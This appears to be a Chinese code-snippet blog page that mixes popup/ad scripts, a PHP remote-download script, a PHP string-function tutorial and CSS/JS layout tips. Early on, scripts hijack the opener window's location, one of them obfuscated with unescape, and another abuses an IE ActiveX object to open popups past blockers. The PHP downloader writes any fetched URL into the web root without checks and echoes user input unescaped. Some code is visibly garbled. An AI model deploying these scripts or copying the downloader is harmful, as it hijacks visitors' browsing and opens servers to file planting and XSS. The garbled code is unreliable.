逍遥于天地之间,混迹于凡世之中 注册 | 登陆
浏览模式: 标准 | 列表分类:源码程序

弹窗代码

JavaScript代码
  1. <SCRIPT>    
  2. if(parent.window.opener) parent.window.opener.location='http://www.97mir.com/'; </SCRIPT>   

退弹

JavaScript代码
  1. // JavaScript Document   
  2. <!--   
  3. var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";   
  4.   
  5. //--------------------------------------------------------------------------------   
  6.   
  7. function ext()   
  8. {   
  9.     if(window.event.clientY<132 || altKey) iie.launchURL(popURL);   
  10. }   
  11.   
  12. //--------------------------------------------------------------------------------   
  13.   
  14. function brs()   
  15. {   
  16.     document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";   
  17. }   
  18.   
  19. //--------------------------------------------------------------------------------   
  20. var popURL = 'http://www.7830.com/';   
  21.   
  22. eval("window.attachEvent('onload',brs);");   
  23. eval("window.attachEvent('onunload',ext);");   
  24.   
  25. //--------------------------------------------------------------------------------   
  26. //-->  

弹窗代码

JavaScript代码
  1. <script>document.write(unescape('%3CSCRIPT%3E%20%0D%0Aif%28parent.window.opener%29%20parent.window.opener.location%3D%27http%3A//www.78300.com/%27%3B%20%3C/SCRIPT%3E'))</script>   

可以覆盖原先打开所在的网站

PHP远程下载文件到所在服务器

以下代码测试通过,使用方法简述

1、比如远程网络上有个文件 http://www.baidu.com/abc.zip

2、你的网站是 http://www.78300.cn

3、上传本代码程序文件到网站目录 访问地址是 http://www.78300.cn/down.php

4、在页面里的输入框中输入 http://www.baidu.com/abc.zip 提交即可

 5、下载速度一般来说比较快,大小文件也没多少限制问题。

 

PHP代码
  1. <form method="post">   
  2. <?php   
  3. // maximum execution time in seconds   
  4. set_time_limit (24 * 60 * 60);   
  5. echo "<input name=\"url\" size=\"1000\" value=\"".$_POST['url']."\" />";   
  6. echo "<title>".$_POST['url']."</title>";   
  7. ?>   
  8. <br><input name="submit" type="submit" value="开始下载" />   
  9. </form>   
  10.   
  11. 程序功能,远程下载文件到本服务器的temp目录中,测试通过最大120M文件没问题。<br>   
  12. 记得在服务器上新建个TEMP目录   
  13.   
  14. <?php   
  15. // maximum execution time in seconds   
  16. set_time_limit (24 * 60 * 60);   
  17. if (!isset($_POST['submit'])) die();   
  18. // folder to save downloaded files to. must end with slash   
  19. $destination_folder = 'temp/';   
  20.   
  21. $url = $_POST['url'];   
  22.   
  23. $newfname = $destination_folder . basename($url);   
  24. $file = fopen ($url"rb");   
  25. if ($file) {   
  26. $newf = fopen ($newfname"wb");   
  27. if ($newf)   
  28. while(!feof($file)) {   
  29. fwrite($newffread($file, 1024 * 8 ), 1024 * 8 );   
  30. echo "1";   
  31. }   
  32. }   
  33. if ($file) {   
  34. fclose($file);   
  35. }   
  36. if ($newf) {   
  37. fclose($newf);   
  38. }   
  39. ?>  

str_replace()替换函数的用法

格式:
[@str_replace("要替换的旧内容", "要取代原内容的新字符", $被替换内容的变量名)]
[@str_replace(array('旧1','旧2','旧3'), array('新1','新2','新3'), $被替换内容的变量名)]
[@str_replace(array('旧1','旧2','旧3'), '新内容', $被替换内容的变量名)]

实例:
多对一替换:想把内容字段里所有的<p></p>标签清除掉,替换成空


[@str_replace(array('<p>','</p>'), '', $Content)]

一对一替换:想把内容字段里所有的<br>标签换成<p>


[@str_replace('<br>', '<p>', $Content)]

多对多替换:想把内容字段里的<br>换成<br />, 同时<p>换<hr>,把</p>全清除


[@str_replace(array('<br>', '<p>','</p>'), array('<br />','<hr>',''), $Content)]

这个东西做什么用呢?下面来解释一下~ 

看他的名字就可以知道,他的作用是替换,这里就是可以把某个字段中你不想让他出现但却不太好避免他出现的某些字符串替换掉。
替换 
替换的意义在于将一个字符串的一部分进行改变,使之成为别外一个新的字符串,以满足新的要求。php里通常用str_replace("要替换的内容", "要取代原内容的字符串", "原字符串")进行替换。 
echo str_replace("iwind", "kiki", "i love iwind, iwind said"); // 将输出 "i love kiki, kiki said" 
即将 原字符串中的所有"iwind"都替换成了"kiki". 

str_replace是大小写敏感的,所以对你不能设想用 str_replace("Iwind", "kiki",...)替换原字符串中的"iwind". 

str_replace还可以实现多对一,多对多的替换,但无法实现一对多的替换: 
echo str_replace(array("iwind", "kiki"), "people", "i love kiki, iwind said"); 
将会输出 
i love people, people said 
第一个参数中的array("iwind", "kiki")都被替换成了"people" 

echo str_replace(array("iwind", "kiki"), array("gentle man", "ladies"), "i love kiki, iwind said"); 
输出 i love ladies, gentle man said 。也就是说第一个数组中的元素被第二个数组中的相对应的元素替换掉了,如果有一个数组比另一个数组元素数要少,那么不足的都会当作空来处理。 



上面引用的内容大家可以举一反三

如此这般,我们可以推断(推断,还没来得及尝试),我们可以使用任何在php中我们需要的字符串操作~看下面引用的内容:

无论哪种语言,字符串操作都是一个重要的基础,往往是简单而重要。正像人说话一样,一般有形体(图形界面),有语言(print 字符串?),显然字符串能解释更多的东西。php提供了大量的字符串操作函数,功能强大,使用也比较简单,详细请参看http://cn2.php.net/manual/zh/ref.strings.php . 以下将简单的讲述它的功能和特性。 
弱类型 
php是弱类型语言,所以其它类型的数据一般可以直接应用于字符串操作函数里,而自动转换成字符串类型,进行处理,如: 
echo substr("1234567", 1, 3); 
 
echo substr(123456,1, 3); 
是一样的 

定义 
一般用双引号或单引号标识一个字符串。比如 
$str = "i love u"; 
$str = 'i love u'; 

它者两者是有一些区别的。后者将一切单引号的内容都会当作字符处理;前者则不然。比如 
$test = "iwind"; 
$str = "i love $test"; 
$str1 = 'i love $test'; 
echo $str; //将得到 i love iwind 
echo $str1; //将得到 i love $test 

同样的以下两个例子的行为也不一样的: 
echo "i love /test"; // 将得到 i love est,已经将/t视为转义 
echo 'i love /test'; // 将得到 i love /test 

从而可以简单认为双引号里的内容是经过“解释”过的,单引号的是“所见即所得”的。显而易见,双引号形式的更为灵活一些,当然单引号会适用于一些特殊的场合,这里就不作阐述了。 

输出 
php里的输出最常用的是echo,print.两者都不是真正的函数,而是语言构造,所以调用时不必用双括号(比如echo("test");print("test")).在输出的时候两者都可以实现赋值: 
echo $str="test"; //一方面输出test,一方面把"test"赋给字符串变量 $str 
print $str="test"; 

两者除了名字不一样外,还是有其它区别的。print具有返回值,一直返回1,而echo没有,所以echo比print要快一些: 
$return = print "test"; 
echo $return; // 输出1 

也正因为这个原因,print能应用于复合语句中,而echo不能: 
isset($str) or print "str 变量未定义"; // 将输出"str 变量未定义" 
isset($str) or echo "str 变量未定义";// 将提示分析错误 

echo一次可输出多个字符串,而print则不可以: 
echo "i ","love ","iwind"; // 将输出 "i love iwind" 
print "i ","love ","iwind"; // 将提示错误 

echo,print还可以输出被称作“文档句法”的字符串,句法如: 
echo <<< 标签名称 
... 
字符串内容 
... 
标签名称; 

比如 
echo <<< test 
i love iwind 
test; 

要注意的是语句开始和结束的两个标签名称是一样的,且后一个标签名称前不能有空白,即要顶格写。文档句法输出的内容识别变量名称和常用符号,大致形同双引号的作用。 

输出echo,print外,php还提供了一些格式化字符串的函数,比如printf,sprintf,vprintf,vsprintf,在这里不作详解。 

连接 
两个以上的字符串连接用"."操作符,依字符串的顺序形成新的字符串。 
$str = "i " . "love " . "iwind"; 
这里的$str 就是 "i love iwind";字符串。当然,还可以使用 .= 操作符: 
$str = ""; // 初始化 
$str .= "i love iwind"; 

这里用到了初始化,是因为未定义变量在使用时会产生一个notice错误,""或者null可以简单地代表空字符串。 

长度 
php提供strlen函数来计算字符串的长度: 
$str = "test"; 
echo strlen($str); // 将输出 4 
有点奇怪的是strlen将中日等汉字以及全角字符都当作两个或四个长度计算。好在mbstring或icon两个函数可以帮助解决这个问题,比如: 
$len = iconv_strlen($str, "GBK"); 
$len = mb_strlen($str, "GBK"); 
注:mbstring模块提供了大量的对含有多字节字符的字符串的处理函数,推荐多加应用,由于这篇文章讲的是字符串入门,所以不打算详细解说。 

分隔与连接 
php允许你把一个字符串按照一个分隔符进行分隔成一个数组,或者将一个数组组合成一个字符串。看下面的例子: 
$str = "i love iwind"; 
$array = explode(" ", $str); 
上面的explode函数,就把$str字符串按空格字符进行分隔,结果返回一个数组 $array:array("i", "love", "iwind").与explode函数有类似功能的有:preg_split(), spliti(), split()等函数。 

与此相反的,implode和join则能把一个数组结合成一个字符串,他们是具有完全相同功能的函数。 
$array = array("i", "love", "iwind"); 
$str = implode(" ", $array); 
例中的implode函数将数组$array的每个元素用空格字符进行连接,返回一个字符串 $str: "i love iwind". 

裁剪 
一个字符串首和尾,可能不是你想要的部分,就可以用trim,rtrim,ltrim等函数,分别去除一个字符串两端空格,一个字符串尾部空格,一个字符串首部空格。 
echo trim(" i love iwind "); // 将得到 "i love iwind" 
echo rtrim(" i love iwind "); // 将得到 " i love iwind" 
echo ltrim(" i love iwind "); // 将得到 "i love iwind " 
其实这三个参数不仅可以去除字符串首尾的空格,还可以去除它们的第二个参数指定的字符,如: 
echo trim(",1,2,3,4,", ","); // 将得到 1,2,3,4 两端的","号被裁掉了。 

有时还会看到有人使用chop这个函数,其实它是rtrim的同义函数。 

大小写 
对于英文字母来说,可以用strtoupper,strtolower将其转变成大写或小写。 
echo strtoupper("i love iwind"); // 将得到 I LOVE IWIND 
echo strtolower("I LOVE IWIND"); // 将得到 i love iwind 

比较 
一般可以用 !=, == 比较两个对象是否相等,只所以说是两个对象,是因为它们不一定全部为字符串,也可以为整型等等。比如
$a = "joe"; 
$b = "jerry"; 
if ($a != $b) 
{ 
echo "不相等"; 
} 
else 
{ 
echo "相等"; 
} 
如果用 !==,===(可以看到多了一个等号)比较的话,两个对象的类型要严格相等才能返回true;否则用==,!=则会将字符串自动转换成相应的类型,以便进行比较. 
22 == "22"; // 返回 true 
22 === "22"; // 返回false 
正因为这样,所以我们的程序时常会发生一些想不到的“意外”: 
0 == "我爱你"; // 返回true 
1 == "1 我爱你";// 返回true 

php里还有这样一组用于字符串比较的函数:strcmp,strcasecmp,strncasecmp(), strncmp(),它们都是如果前者比后者大,则返回大于0的整数;如果前者比后者小,则返回小于0的整数;如果两者相等,则返回0.它们比较的原理与其它语言的规则都是一样的。 
strcmp是用于区分大小写(即大小写敏感)的字符串比较: 
echo strcmp("abcdd", "aBcde"); // 返回 1 (>0), 比较的是 "b"和"B" 

strcasecmp用于不区分大小写的字符串比较: 
echo strcasecmp("abcdd", "aBcde"); // 返回 -1 (<0), 比较的是"d"和"e" 

strncmp用于比较字符串的一部分,从字符串的开头开始比较,第三个参数,为要比较的长度: 
echo strncmp("abcdd", "aBcde", 3); // 返回 1 (>0), 比较了 abc 和 aBc 

strncasecmp用于不区分大小写的比较字符串的一部分,从字符串的开头开始比较,第三个参数,为要比较的长度: 
echo strncasecmp("abcdd", "aBcde", 3); // 返回 0, 比较了 abc 和 aBc, 由于不区分大小写,所以两者是相同的。 

还有一种情况是单单比较字符串大小,达不到我们预定的要求,比如照常理 10.gif 会比 5.gif 大,但如果应用上面几个函数,就会返回 -1,即表示 10.gif比5.gif,针对这种情况,php提供了两个自然对比的函数strnatcmp,strnatcasecmp: 
echo strnatcmp("10.gif", "5.gif"); // 返回 1 (>0) 
echo strnatcasecmp("10.GIF", "5.gif"); // 返回 1 (>0) 

替换 
替换的意义在于将一个字符串的一部分进行改变,使之成为别外一个新的字符串,以满足新的要求。php里通常用str_replace("要替换的内容", "要取代原内容的字符串", "原字符串")进行替换。 
echo str_replace("iwind", "kiki", "i love iwind, iwind said"); // 将输出 "i love kiki, kiki said" 
即将 原字符串中的所有"iwind"都替换成了"kiki". 

str_replace是大小写敏感的,所以对你不能设想用 str_replace("Iwind", "kiki",...)替换原字符串中的"iwind". 

str_replace还可以实现多对一,多对多的替换,但无法实现一对多的替换: 
echo str_replace(array("iwind", "kiki"), "people", "i love kiki, iwind said"); 
将会输出 
i love people, people said 
第一个参数中的array("iwind", "kiki")都被替换成了"people" 

echo str_replace(array("iwind", "kiki"), array("gentle man", "ladies"), "i love kiki, iwind said"); 
输出 i love ladies, gentle man said 。也就是说第一个数组中的元素被第二个数组中的相对应的元素替换掉了,如果有一个数组比另一个数组元素数要少,那么不足的都会当作空来处理。 

与此有些类似的是strtr,用法请参阅手册,它们的比较请参阅 http://diary.4kiki.net/index.php?action=info&id=372 . 

此外,php还提供了substr_replace,实现替换一部分的字符串。语法如下: 
substr_replace (原字符串, 要替代的字符串, 开始替换的位置 [, 替换的长度]) 
其中,开始替换的位置从0开始计算,应该小于原字符串的长度。要替换的长度是可选的。 
echo substr_replace("abcdefgh", "DEF", 3); // 将输出 "abcDEF" 
echo substr_replace("abcdefgh", "DEF", 3, 2); // 将输出 "abcDEffgh" 
第一个例子中,从第三个位置(即"d")开始替换,从而把 "defgh"都替换成了“DEF” 
第二个例子中,也是从第三个位置(即"d")开始替换,但只能替换2个长度,即到e,所以就把"de"替换成了"DEF". 

php还提供了preg_replace,preg_replace_callback,ereg_replace,eregi_replace等函数应用正则表达式来完成字符串替换,用法请参考手册。 

查找与匹配 
php里用于查找或者匹配或者定位的函数非常多,它们都有不同的意义。这里只讲述用得比较多的strstr,stristr.后者与前者的功能,返回值都一样,只是不区分大小写。 
strstr("母字符串", "子字符串")用来查找子字符串在母字符串中第一次出现的位置,并返回母字符串中从子字符串开始到母字符串结束的部分。比如 
echo strstr("abcdefg", "e"); //将输出 "efg" 
如果找不到子字符串,则返回空。因为可以用来判断一个字符串中是否含有另外一个字符串: 
$needle = "iwind"; 
$str = "i love iwind"; 
if (strstr($str, $needle)) 
{ 
echo "里面有 iwind"; 
} 
else 
{ 
echo "里面没有 iwind"; 
} 
将会输出"里面有 iwind" 

HTML相关 
1,htmlspecialchars($string) 
这是它的最简单用法,将字符串中的一些特殊字符(顾名思义)&,',"<,>转换成它们对应的HTML实体形式: 
$str = "i love kiki, iwind said."; 
echo htmlspecialchars($str); 
将会输出 
i love <font >kiki</font>, iwind said. 

2,htmlentities($string) 
将所有能转换成实体形式的字符都转换成实体形式。 

3,html_entity_decode($string); 
php4.3.0以后加入的具有与htmlentities($string)相反的功能。 

4,nl2br($string) 
将字符串中所有换行符转变成
+ 换行符。如: 
$str = "i love kiki,/n iwind said."; 
echo nl2br($str); 
将会输出 
i love kiki,

iwind said. 


加密 
加密字符串最常用的就是md5了,它将一个字符串转换成一个长32位的唯一的字符串。 
echo md5("i love iwind"); // 将输出 "2df89f86e194e66dc54b30c7c464c21c" 

php5给md5加了第二个参数,从而使它可以输出16位的加密后的字符串。 


到这里,这篇字符串操作入门教程就算结束了,但上面讲的这些还只是它的冰山一角,特别是php5之后增加了大量的新功能,所以需要我们不断的去学习它才有可能很好的应用。

特效文字代码集

特效文字代码集

» 阅读全文

让表格一行中的文字过多时自动变成省略号

<style>
#DIV1{width:200px;height:90px;background-color:#87CEEB;padding:8px;overflow:hidden; text-overflow:ellipsis;white-space:nowrap; }
</style>
<center><div id=DIV1>让表格一行中的文字过多时自动变成省略号让表格一行中的文字过多时自动变成省略号</div>

如内容超出单元格,则隐藏
style="TABLE-LAYOUT: fixed"

符合web标准且可单独关闭的多幅对联广告

 

XML/HTML代码
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml" lang="zh-cn">  
  3.   
  4. <head>  
  5. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  6. <meta http-equiv="Content-Language" content="zh-CN" />  
  7. <meta content="all" name="robots" />  
  8. <title>符合web标准且可单独关闭的多幅对联广告</title>  
  9. </head>  
  10.   
  11. <body>  
  12. <SCRIPT language="JavaScript">  
  13. //符合web标准且可关闭的多幅对联广告   
  14. //Modified By 在远方 www.jscode.cn   
  15. <!--   
  16. lastScrollY = 0;   
  17. function heartBeat(){   
  18. var diffY;   
  19. if (document.documentElement && document.documentElement.scrollTop)   
  20. diffY = document.documentElement.scrollTop;   
  21. else if (document.body)   
  22. diffY = document.body.scrollTop   
  23. else   
  24. {/*Netscape stuff*/}   
  25. //alert(diffY);   
  26. percent=.1*(diffY-lastScrollY);   
  27. if(percent>0)percent=Math.ceil(percent);   
  28. else percent=Math.floor(percent);   
  29. document.getElementById("leftDiv").style.top = parseInt(document.getElementById("leftDiv").style.top)+percent+"px";   
  30. document.getElementById("rightDiv").style.top = parseInt(document.getElementById("rightDiv").style.top)+percent+"px";   
  31. lastScrollYlastScrollY=lastScrollY+percent;   
  32. //alert(lastScrollY);   
  33. }   
  34. //下面这段删除后,对联将不跟随屏幕而移动。   
  35. window.setInterval("heartBeat()",1);   
  36. //-->  
  37. //关闭按钮   
  38. function close_left1(){   
  39.     left1.style.visibility='hidden';   
  40. }   
  41. function close_left2(){   
  42.     left2.style.visibility='hidden';   
  43. }   
  44. function close_right1(){   
  45.     right1.style.visibility='hidden';   
  46. }   
  47. function close_rig......  

» 阅读全文

Records:271234